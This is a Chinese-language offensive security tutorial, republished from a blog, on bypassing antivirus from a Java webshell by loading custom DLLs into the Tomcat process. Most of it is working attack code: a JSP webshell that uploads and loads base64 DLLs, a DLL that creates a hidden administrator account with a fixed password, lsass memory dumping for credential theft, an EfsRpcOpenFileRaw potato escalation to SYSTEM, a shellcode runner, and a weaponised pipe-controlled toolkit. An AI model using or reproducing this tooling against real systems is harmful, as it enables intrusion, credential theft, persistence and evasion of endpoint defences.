作者:傾旋
原文鏈接:https://payloads.online/archivers/2022-08-11/1/
通常情況下獲得Java Webshell碰到數字殺毒的場景居多,在這個環境中經常會遇到無法執行命令或命令被攔截的情況,很多小伙伴遇到這個問題就勸退了,我猜測是有一套進程鏈的檢測方式導致了命令無法執行,于是去查看Java的文檔,查閱到Java能夠加載動態鏈接庫且能夠執行動態鏈接庫中的代碼,本文演示如何利用Java加載動態鏈接庫的方式實現繞過了數字殺毒的攔截.....
0x00 前言
通常情況下獲得Java Webshell碰到數字殺毒的場景居多,在這個環境中經常會遇到無法執行命令或命令被攔截的情況,很多小伙伴遇到這個問題就勸退了,我猜測是有一套進程鏈的檢測方式導致了命令無法執行,于是去查看Java的文檔,查閱到Java能夠加載動態鏈接庫且能夠執行動態鏈接庫中的代碼,本文演示如何利用Java加載動態鏈接庫的方式實現繞過了數字殺毒的攔截,但在演示之前,需要鋪墊一些基礎知識,如:猜想的進程鏈、Windows錯誤代碼、Java加載動態鏈接庫常見的三種辦法、Windows動態鏈接庫、土豆提權原理、命名管道技術等。
0x01 猜想的進程鏈
在獲取Webshell以后,一般執行命令都會調用 Runtime.exec ,當然也有其他的命令執行方式,這里不再討論,執行的命令一般分為兩種:
- 系統自帶的PE文件,后面跟上參數
- CMD或Powershell中內置的命令
例如:dir 命令與forfiles命令,這兩個命令都可以列出文件夾內的文件,但要執行 dir 需要啟動 cmd.exe 或者 powershell.exe ,執行的過程中進程鏈就像這樣:

在這個過程里,進程的鏈是java.exe創建了cmd.exe ,那么很容易就能發現問題,每執行一條命了都會創建一個cmd.exe 的進程。從Runtime.exec 執行命令到Windows API CreateProcess 創建cmd.exe這個進程是通過JVM翻譯過來的,數字殺毒會Hook CreateProcess API達到監控攔截的目的。
而forfiles是一個PE文件,不是CMD內置的命令,所以不需要創建cmd.exe也可以執行,它的進程鏈會是這樣:

達到了同樣的目的,但是沒有創建cmd.exe ,為了體驗上的考量現在的大部分Webshell管理工具執行命令都是要創建cmd.exe的,那么如何讓我們的操作都不創建cmd.exe呢?
其實只需要改一下原來的小馬即可:
public static void main(String[] args) {
try {
// String cmdStr = "cmd.exe /c forfiles.exe /p C:\\" ;
String cmdStr = "forfiles.exe /p C:\\" ;
Runtime.getRuntime().exec(cmdStr);
}catch(Exception e){
e.printStackTrace();
}
}
這樣雖然不會創建進程,但大部分命令還是會攔截,例如:net.exe net1.exe

0x02 Windows錯誤代碼
經常會遇到一些Windows下的工具刨出Error Code 5,到底代表什么意思?
這個Error Code 5其實是Windows的錯誤代碼,每一個代碼都代表了不同的含義。
查詢錯誤代碼的含義可以通過 net helpmsg 命令:

Visual Studio 有一個工具可以查詢錯誤代碼,名為errlookup:


有的時候Webshell管理工具并沒有直接給出錯誤代碼的含義,而是直接拋出錯誤代碼,這種情況就能使用命令或者工具去查詢,了解錯誤的發生到底是因為什么問題。
0x03 Java加載動態鏈接庫常見的三種辦法
Java加載動態鏈接庫常見的有三種辦法:
- System.load / System.loadLibrary
- Runtime.getRuntime().load
- com.sun.glass.utils.NativeLibLoader.loadLibrary
private void RuntimeLoad(String path){
Runtime.getRuntime().load(path);
}
private void SystemLoad(String path){
System.load(path);
}
// 有些JDK版本沒有這個對象,因此采用反射加載進行運行
private void NativeLoad(String path) throws Exception{
Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
if(Native != null){
java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
Load.invoke(path);
}
}
第三種有些JDK版本沒有這個對象,因此采用反射加載進行運行。
大致流程如下:
System.load` → `Runtime.getRuntime**()**.load0**()**` → `ClassLoader.loadLibrary` → `NativeLibrary.load` → `native void load*(*String name, boolean isBuiltin*)*
我實現了一個簡單版本的DLL加載JSP代碼,確保每一個請求都可以加載一個DLL模塊到Java進程中:
<jsp:declaration>
// 獲取隨機的動態鏈接庫文件名稱
private String getFileName(){
String fileName = "";
java.util.Random random = new java.util.Random(System.currentTimeMillis());
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("windows")){
fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
}else {
fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
}
return fileName;
}
// JSP 聲明函數中無法獲取全局默認的ServletRequest對象,但ServletRequest繼承java.io.InputStream,可以替代
public String UploadBase64DLL(java.io.InputStream stream) throws Exception {
sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
java.io.File file = new java.io.File(getFileName());
java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
fos.write(b.decodeBuffer(stream));
fos.close();
return file.getAbsolutePath();
}
private void RuntimeLoad(String path){
Runtime.getRuntime().load(path);
}
private void SystemLoad(String path){
System.load(path);
}
// 有些JDK版本沒有這個對象,因此采用反射加載進行運行
private void NativeLoad(String path) throws Exception{
Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
if(Native != null){
java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
Load.invoke(path);
}
}
</jsp:declaration>
<jsp:scriptlet>
// 加載方式
String method = request.getHeader("WWW-Authenticate");
try{
ServletInputStream stream = request.getInputStream();
if (stream.available() == 0){
out.println(System.getProperty("os.arch"));
return;
}
String file = UploadBase64DLL(stream);
// 按照Header頭選擇加載方式
switch (method){
case "1":
RuntimeLoad(file);
break;
case "2":
SystemLoad(file);
break;
case "3":
NativeLoad(file);
break;
default:
RuntimeLoad(file);
break;
}
}catch (Exception e){
System.out.println(e.toString());
}
</jsp:scriptlet>
0x04 Windows 動態鏈接庫
DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。 在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件,放置于系統中。在Windows平臺下,我們使用的應用程序中的功能其實大多都很相似,窗口調用窗口的模塊,分配內存調用內存管理的模塊,文件操作調用IO模塊,這些模塊在Windows里的具體表現就是DLL文件。
在之前的文章中有簡單總結過Dll的一些知識,這里就不做詳細介紹了:
在Windows操作系統中,每一個進程加載一個DLL都會默認執行DLLMain函數,利用這個加載的特性我們可以在Java.exe進程中做一些敏感操作,并且這個進程是白名單、簽名的。
0x05 實戰繞過數字殺毒添加用戶
前提條件:
- 有一個管理員權限的Webshell
- 編寫一個添加用戶的DLL
首先上傳之前寫好的專門用于加載DLL的JSP文件,然后編寫一個添加用戶的DLL文件:
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <Tchar.h>
#pragma comment(lib,"netapi32.lib")
DWORD CreateAdminUserInternal(void)
{
NET_API_STATUS rc;
BOOL b;
DWORD dw;
USER_INFO_1 ud;
LOCALGROUP_MEMBERS_INFO_0 gd;
SID_NAME_USE snu;
DWORD cbSid = 256; // 256 bytes should be enough for everybody :)
BYTE Sid[256];
DWORD cbDomain = 256 / sizeof(TCHAR);
TCHAR Domain[256];
//
// Create user
// http://msdn.microsoft.com/en-us/library/aa370649%28v=VS.85%29.aspx
//
memset(&ud, 0, sizeof(ud));
ud.usri1_name = (LPWSTR)TEXT("audit"); // username
ud.usri1_password = (LPWSTR)TEXT("Test123456789!"); // password
ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation
ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set
ud.usri1_script_path = NULL;
rc = NetUserAdd(
NULL, // local server
1, // information level
(LPBYTE)&ud,
NULL // error value
);
if (rc != NERR_Success) {
_tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
//
// Get user SID
// http://msdn.microsoft.com/en-us/library/aa379159(v=vs.85).aspx
//
b = LookupAccountName(
NULL, // local server
_T("audit"), // account name
Sid, // SID
&cbSid, // SID size
Domain, // Domain
&cbDomain, // Domain size
&snu // SID_NAME_USE (enum)
);
if (!b) {
dw = GetLastError();
_tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
return dw;
}
//
// Add user to "Administrators" local group
// http://msdn.microsoft.com/en-us/library/aa370436%28v=VS.85%29.aspx
//
memset(&gd, 0, sizeof(gd));
gd.lgrmi0_sid = (PSID)Sid;
rc = NetLocalGroupAddMembers(
NULL, // local server
_T("Administrators"),
0, // information level
(LPBYTE)&gd,
1 // only one entry
);
if (rc != NERR_Success) {
_tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateAdminUserInternal();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在DllMain函數中調用CreateAdminUserInternal實現添加管理員用戶audit。將dll文件進行base64編碼,發送到加載動態鏈接庫的jsp頁面,就可以繞過數字殺毒添加用戶了:

發送之前:

發送之后:


至此管理員用戶添加成功。
當DLL的編譯架構與Java進程的位數不同,加載會失敗,拋出:Can't load AMD 64-bit .dll on a IA 32-bit platform。

這個問題只需要調整DLL的編譯架構就行:

同樣的我們還可以調用comsvcs.dll導出的MiniDumpW轉儲lsass.exe進程的內存。
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
bool EnableDebugPrivilege()
{
HANDLE hThis = GetCurrentProcess();
HANDLE hToken;
OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
LUID luid;
LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);
TOKEN_PRIVILEGES priv;
priv.PrivilegeCount = 1;
priv.Privileges[0].Luid = luid;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);
CloseHandle(hToken);
CloseHandle(hThis);
return true;
}
int Dump() {
EnableDebugPrivilege();
WCHAR commandLine[MAX_PATH];
_MiniDumpW MiniDumpW;
DWORD lsassPID = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
//遍歷lsass.exe 的PID
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
}
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
_itow(lsassPID, commandLine, 10);
lstrcatW(commandLine, L" C:\\Windows\\Temp\\111.sql full");
MiniDumpW(0, 0, commandLine);
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
Dump();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
編譯成DLL文件發送過去后,我們可以看到Tomcat.exe或者Java.exe的Debug權限已經被開啟:

在C:\Windows\Temp目錄下已經生成進程的內存轉儲文件。
注意:如果Tomcat是以SERVICE賬戶啟動的,那么直接加載DLL會造成Tomcat直接崩潰無法工作,這些敏感操作的失敗會引發系統的錯誤處理程序,最終導致Tomcat進程關閉,在實戰中應根據業務的重要程度謹慎操作。

為了避免類似的風險情況,我增加了權限判斷、重復轉儲判斷:
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
#define _CRT_SECURE_NO_WARNINGS
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
BOOL CheckPrivilege() {
BOOL state;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID AdministratorsGroup;
state = AllocateAndInitializeSid(
&NtAuthority,
2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
SECURITY_LOCAL_SYSTEM_RID, DOMAIN_GROUP_RID_ADMINS,0, 0, 0, 0,
&AdministratorsGroup);
if (state)
{
if (!CheckTokenMembership(NULL, AdministratorsGroup, &state))
{
state = FALSE;
}
FreeSid(AdministratorsGroup);
}
return state;
}
BOOL EnableDebugPrivilege()
{
HANDLE hThis = GetCurrentProcess();
HANDLE hToken;
OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
LUID luid;
LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);
TOKEN_PRIVILEGES priv;
priv.PrivilegeCount = 1;
priv.Privileges[0].Luid = luid;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL isEnabiled = AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);
if (isEnabiled) {
CloseHandle(hToken);
CloseHandle(hThis);
return TRUE;
}
return FALSE;
}
DWORD GetLsassPID() {
DWORD lsassPID = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
//遍歷lsass.exe 的PID
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
}
return lsassPID;
}
BOOL CheckFileExists(PWCHAR file) {
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFileEx(file, FindExInfoStandard, &FindFileData,FindExSearchNameMatch, NULL, 0);
if (hFind == INVALID_HANDLE_VALUE)
{
return FALSE;
}
return TRUE;
}
int Dump() {
WCHAR commandLine[MAX_PATH];
WCHAR DumpFile[] = L"C:\\Windows\\Temp\\111.sql";
_MiniDumpW MiniDumpW;
DWORD lsassPID = 0;
if (!CheckPrivilege()) {
return -1;
}
if (!EnableDebugPrivilege()) {
return -1;
}
if (CheckFileExists(DumpFile)) {
return 0;
}
lsassPID = GetLsassPID();
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
_itow_s(lsassPID, commandLine, 10);
lstrcatW(commandLine, L" ");
lstrcatW(commandLine, DumpFile);
lstrcatW(commandLine, L" full");
MiniDumpW(0, 0, commandLine);
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
Dump();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
首先判斷權限是否是管理員或者SYSTEM權限,然后嘗試啟用SE_DEBUG權限,最后才進行轉儲,代碼我上傳到了Github倉庫:https://github.com/Rvn0xsy/j2osWin
0x06 將Java進程進行權限提升
Tomcat 有三種權限運行模式:

● Local Service ● Network Service ● Users 默認安裝好的Tomcat會自動運行在Local Service賬戶下,意味著權限很低,如果目標安裝了數字殺毒,就更加難以實現提權。
解決辦法:
- 利用System.LoadLibrary技術在Tomcat本身進程種執行任意代碼
- 利用執行任意代碼的特點來進行土豆提權
- 利用模擬Token創建執行Shellcode的線程,所有的交互通過Webshell與系統管道通信實現
0x06.1 EfsRpcOpenFileRaw 提權
土豆提權的原理:在Windows操作系統中,如果當前賬戶是Local Service/Network Service,那么大部分情況下會有一個令牌模擬的權限,當高權限連接到Service賬戶開啟的服務時,Service賬戶就可以通過令牌模擬獲取客戶端的權限來執行任意代碼。
注意:令牌模擬僅是將當前線程的Token進行臨時替換為客戶端的令牌,其次,土豆提權僅限于本地操作系統才能工作,域內一般發起請求的都是域賬戶,或有同一賬戶體系的可信網絡內。
土豆提權中有一個關于MS-EFSR RPC接口的利用方式,通過創建一個命名管道,然后調用EfsRpcOpenFileRaw讓SYSTEM特權賬戶連接到命名管道實現提權。@zcgonvh 公開了一個C#的利用代碼,并且我還請教了他,這里感謝頭像哥的解答。
創建命名管道部分實現代碼:
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
{
wprintf(L"InitializeSecurityDescriptor() failed. Error: %d - ", GetLastError());
LocalFree(pwszPipeName);
return;
}
// 設置安全描述符
if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;WD)", 1, &((&sa)->lpSecurityDescriptor), NULL))
{
wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d\n", GetLastError());
LocalFree(pwszPipeName);
return;
}
// 創建管道
hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);
if (hPipe == INVALID_HANDLE_VALUE) {
return;
}
wprintf(L"[*] NamedPipe '%ls' listening...\n", pwszPipeName);
// 一直等待客戶端連接,方便持續調用
for (;;) {
if (ConnectNamedPipe(hPipe, NULL) > 0) {
wprintf(L"[+] A client connected!\n");
// 模擬客戶端Token
if (!ImpersonateNamedPipeClient(hPipe)) {
// 如果無法模擬就斷開連接
DisconnectNamedPipe(hPipe);
continue;
}
GetUserName(szUser, &dwSize);
wprintf(L"[+] Impersonating dummy :) : %s\n\n\n\n", szUser);
// 將特權Token賦值到全局變量中
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &g_hSystemToken);
if (g_ShellcodeBuffer != NULL && g_dwShellcodeSize != 0) {
// 如果Shellcode不為空,就開始創建線程執行
ExecuteShellCodeWithToken(g_hSystemToken);
}
DisconnectNamedPipe(hPipe);
}
}
觸發RPC連接實現代碼:
RPC_STATUS status;
RPC_WSTR pszStringBinding;
RPC_BINDING_HANDLE BindingHandle;
status = RpcStringBindingCompose(
NULL,
(RPC_WSTR)L"ncacn_np",
(RPC_WSTR)L"\\\\127.0.0.1",
(RPC_WSTR)L"\\pipe\\lsass",
NULL,
&pszStringBinding
);
status = RpcBindingFromStringBinding(pszStringBinding, &BindingHandle);
status = RpcStringFree(&pszStringBinding);
RpcTryExcept{
PVOID pContent;
LPWSTR pwszFileName;
pwszFileName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(pwszFileName, MAX_PATH, L"\\\\127.0.0.1/pipe/random\\C$\\x");
long result;
wprintf(L"[*] Invoking EfsRpcOpenFileRaw with target path: %ws\r\n", pwszFileName);
result = EfsRpcOpenFileRaw(
BindingHandle,
&pContent,
pwszFileName,
0
);
status = RpcBindingFree(
&BindingHandle // Reference to the opened binding handle
);
LocalFree(pwszFileName);
}
RpcExcept(1)
{
wprintf(L"RpcExcetionCode: %d\n", RpcExceptionCode());
return FALSE;
}RpcEndExcept
每次調用EfsRpcOpenFileRaw都會觸發SYSTEM進程連接命名管道,然后再通過ImpersonateNamedPipeClient模擬SYSTEM進程的權限執行代碼,當ImpersonateNamedPipeClient函數調用成功后,當前線程的Token其實已經變成了SYSTEM賬戶的,特權代碼執行完成后還可以用RevertToSelf恢復到原來的線程Token。
在我實現成功后遇到數字殺毒會攔截提權的行為,其實很多土豆提權成功后,會復制一份Token去創建進程,一般調用CreateProcessWithToken和CreateProcessAsUser比較多,被攔截的時候會是這樣:

因此常規的辦法是不行了,于是請教了頭像哥,他的回復與我想的一樣,用高權限的Token去跑一個特權線程,利用這個特權線程去執行Shellcode。
void ExecuteShellCodeWithToken(HANDLE hToken) {
HANDLE hThread = INVALID_HANDLE_VALUE;
DWORD dwThreadId = 0;
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
PVOID Mptr = HeapAlloc(hHeap, 0, g_dwShellcodeSize);
RtlCopyMemory(Mptr, g_ShellcodeBuffer, g_dwShellcodeSize);
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, CREATE_SUSPENDED, &dwThreadId);
SetThreadToken(&hThread, hToken);
ResumeThread(hThread);
}
思路如下:
- 將Shellcode拷貝到可執行堆內存塊中
- 創建一個暫停的線程
- 將特權Token設置覆蓋掉暫停的線程Token
- 恢復線程執行
成功執行Shellcode后的樣子是這樣的:

上線的User是SYSTEM,但是whoami是Local Service,這是因為當前線程是SYSTEM的,獲取用戶名的GetUserName API是以當前線程Token作為權限查詢的,而創建進程時并不會直接復制模擬的特權Token,這個時候只需要使用CobaltStrike的進程注入到其他SYSTEM進程即可。解決完Local Service提權到SYSTEM被數字殺毒攔截的問題后,那就要思考如何做武器化了,因為在實戰中不可能上傳一個個DLL文件,我需要把所有的代碼寫到一個DLL中,通過控制JSP Webshell的參數來達到各種功能的調用。
0x07 武器化的思路與實現
所有的代碼跑在Tomcat的進程里的,而且只能執行DLLMain,那么怎么通過某種技術可以使得發送一個Web請求就執行DLL中的一些功能呢?
這個問題其實并沒有難倒我,最簡單的辦法是用文件傳遞參數,每個Web請求過來后往文件中寫內容,然后DLLMain里寫一個循環讀取也可以,但是文件的讀寫容易被干擾,并且涉及到線程的控制,稍微干擾一下就產生讀寫問題,容錯率不高。
最終我采用了管道的形式,在DLLMain被執行時就創建一個命名管道,每個請求會連接管道往里寫入16進制的單字節指令。
部分代碼:
for (;;) {
if (ConnectNamedPipe(hPipe, NULL) > 0) {
CHAR szBuffer[BUFF_SIZE];
BYTE bMethod; // 操作方法
ZeroMemory(szBuffer, BUFF_SIZE);
wprintf(L"[+] Client Connected...\n");
// 讀取操作方法
ReadFile(hPipe, &bMethod, 1, &dwLen, NULL);
switch (bMethod)
{
case METHOD_WMI_CREATE_PROCESS:
/// <summary>
/// 調用WMIC創建進程,無回顯
/// 參數:process
/// </summary>
/// <param name=""></param>
/// <returns></returns>
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
CheckSuccessAndSendMsg(WMICCreateProcess(char2wchar(szBuffer)), hPipe);
break;
case METHOD_MINIDUMP_LSASS:
/// <summary>
/// 高權限的情況下轉儲Lsass進程內存
/// 參數:dump
/// </summary>
/// <param name=""></param>
/// <returns></returns>
CheckSuccessAndSendMsg(MiniDumpLsass(), hPipe);
break;
case METHOD_ADD_USER:
/// <summary>
/// 高權限的情況下添加用戶
/// 參數:user
/// </summary>
/// <param name=""></param>
/// <returns></returns>
CheckSuccessAndSendMsg(CreateAdminUserInternal(), hPipe);
break;
case METHOD_SHELL_CODE_LOADE:
/// <summary>
/// 執行Shellcode
/// 參數:code
/// </summary>
/// <param name=""></param>
/// <returns></returns>
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
CheckSuccessAndSendMsg(ExecuteShellCode(szBuffer, dwLen), hPipe);
break;
case METHOD_GETSYSTEM:
/// <summary>
/// 創建命名管道
/// 參數:system
/// </summary>
/// <param name=""></param>
/// <returns></returns>
CheckSuccessAndSendMsg(Service2System(), hPipe);
break;
case METHOD_SYSTEM_EXECUTE:
/// <summary>
/// 觸發RPC連接提權管道
/// 參數:system-run
/// </summary>
/// <param name=""></param>
/// <returns></returns>
CheckSuccessAndSendMsg(Execute(), hPipe);
break;
case METHOD_SET_SYSTEM_SHELLCODE:
/// <summary>
/// 設置全局Shellcode
/// 參數:system-code
/// </summary>
/// <param name=""></param>
/// <returns></returns>
ZeroMemory(szBuffer, BUFF_SIZE);
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
g_ShellcodeBuffer = new char[dwLen];
RtlCopyMemory(g_ShellcodeBuffer, szBuffer, dwLen);
g_dwShellcodeSize = dwLen;
break;
case METHOD_UNSET_SYSTEM_SHELLCODE:
/// <summary>
/// 清空全局Shellcode
/// 參數:system-uncode
/// </summary>
/// <param name=""></param>
/// <returns></returns>
g_dwShellcodeSize = 0;
g_ShellcodeBuffer = NULL;
break;
default:
break;
}
// 關閉連接
DisconnectNamedPipe(hPipe);
}
METHOD開頭的常量代表了不同的功能:
#define PIPE_NAME L"\\\\.\\pipe\\josPipe"
#define BUFF_SIZE 1024
#define METHOD_WMI_CREATE_PROCESS 0x00 // WMIC 創建進程
#define METHOD_SHELL_CODE_LOADE 0x01 // SHELLCODE 加載
#define METHOD_MINIDUMP_LSASS 0x02 // 轉儲Lsass.exe
#define METHOD_ADD_USER 0x03 // 添加用戶
#define METHOD_GETSYSTEM 0x04 // 利用EFS獲取SYSTEM的Token
#define METHOD_SYSTEM_EXECUTE 0x05 // 以SYSTEM權限執行命令
#define METHOD_SET_SYSTEM_SHELLCODE 0x07 // 設置Shellcode
#define METHOD_UNSET_SYSTEM_SHELLCODE 0x08 // 取消設置Shellcode
Java Webshell的改造代碼如下:
<%@ page import="java.io.RandomAccessFile" %>
<%!
private String getFileName(){
String fileName = "";
java.util.Random random = new java.util.Random(System.currentTimeMillis());
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("windows")){
fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
}else {
fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
}
return fileName;
}
public String UploadBase64DLL(java.io.InputStream stream) throws Exception {
sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
java.io.File file = new java.io.File(getFileName());
java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
fos.write(b.decodeBuffer(stream));
fos.close();
return file.getAbsolutePath();
}
private void RuntimeLoad(String path){
Runtime.getRuntime().load(path);
}
private void SystemLoad(String path){
System.load(path);
}
private void NativeLoad(String path) throws Exception{
Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
if(Native != null){
java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
Load.invoke(path);
}
}
//</jsp:declaration>
%>
<%
String pipeName = "\\\\.\\pipe\\josPipe";
try{
String method = request.getHeader("WWW-Authenticate");
if(method == null){
out.println("Start");
return;
}
if (method.equals("load")){
ServletInputStream stream = request.getInputStream();
String file = UploadBase64DLL(stream);
RuntimeLoad(file);
}else if (method.equals("dump")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x02);
if(pipe.readByte() == 0x01){
out.println("OK");
}else{
out.println("Failed");
}
pipe.close();
}else if (method.equals("process")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x00);
pipe.write(request.getHeader("Content-Method").getBytes());
if(pipe.readByte() == 0x01){
out.println("OK");
}else{
out.println("Failed");
}
pipe.close();
}else if (method.equals("user")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x03);
if(pipe.readByte() == 0x01){
out.println("OK");
}else{
out.println("Failed");
}
pipe.close();
}else if (method.equals("code")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x01);
pipe.write(new sun.misc.BASE64Decoder().decodeBuffer(request.getInputStream()));
if(pipe.readByte() == 0x01){
out.println("OK");
}else{
out.println("Failed");
}
pipe.close();
}else if (method.equals("system")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x04);
if(pipe.readByte() == 0x01){
out.println("OK");
}else{
out.println("Failed");
}
pipe.close();
}else if (method.equals("system-run")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x05);
if(pipe.readByte() == 0x01){
out.println("OK");
}else{
out.println("Failed");
}
pipe.close();
}else if (method.equals("system-code")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x07);
pipe.write(new sun.misc.BASE64Decoder().decodeBuffer(request.getInputStream()));
pipe.close();
}else if (method.equals("system-uncode")){
RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
pipe.write(0x08);
pipe.close();
}
}catch (Exception e){
System.out.println(e.toString());
}
%>
java.io.RandomAccessFile可以讀寫命令管道,通過修改Header頭WWW-Authenticate來控制不同的功能,每個功能都有一個16進制的編號,剩余的Body內容將會被放到其他內存區域,以供功能函數調用讀取,如此以來解決了每個請求都可以執行不同功能的問題,只發送一次DLL就可以將DLL模塊打入Tomcat/Java進程的內存中執行,并且利用管道讀寫的特性也能夠實現數據的回顯,這個已經在示例代碼中體現出來了。
SERVICE提權到SYSTEM權限并執行任意代碼的流程示例圖如下:

公開的DLL模塊代碼:https://github.com/Rvn0xsy/j2osWin
演示視頻:暫無。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1953/
暫無評論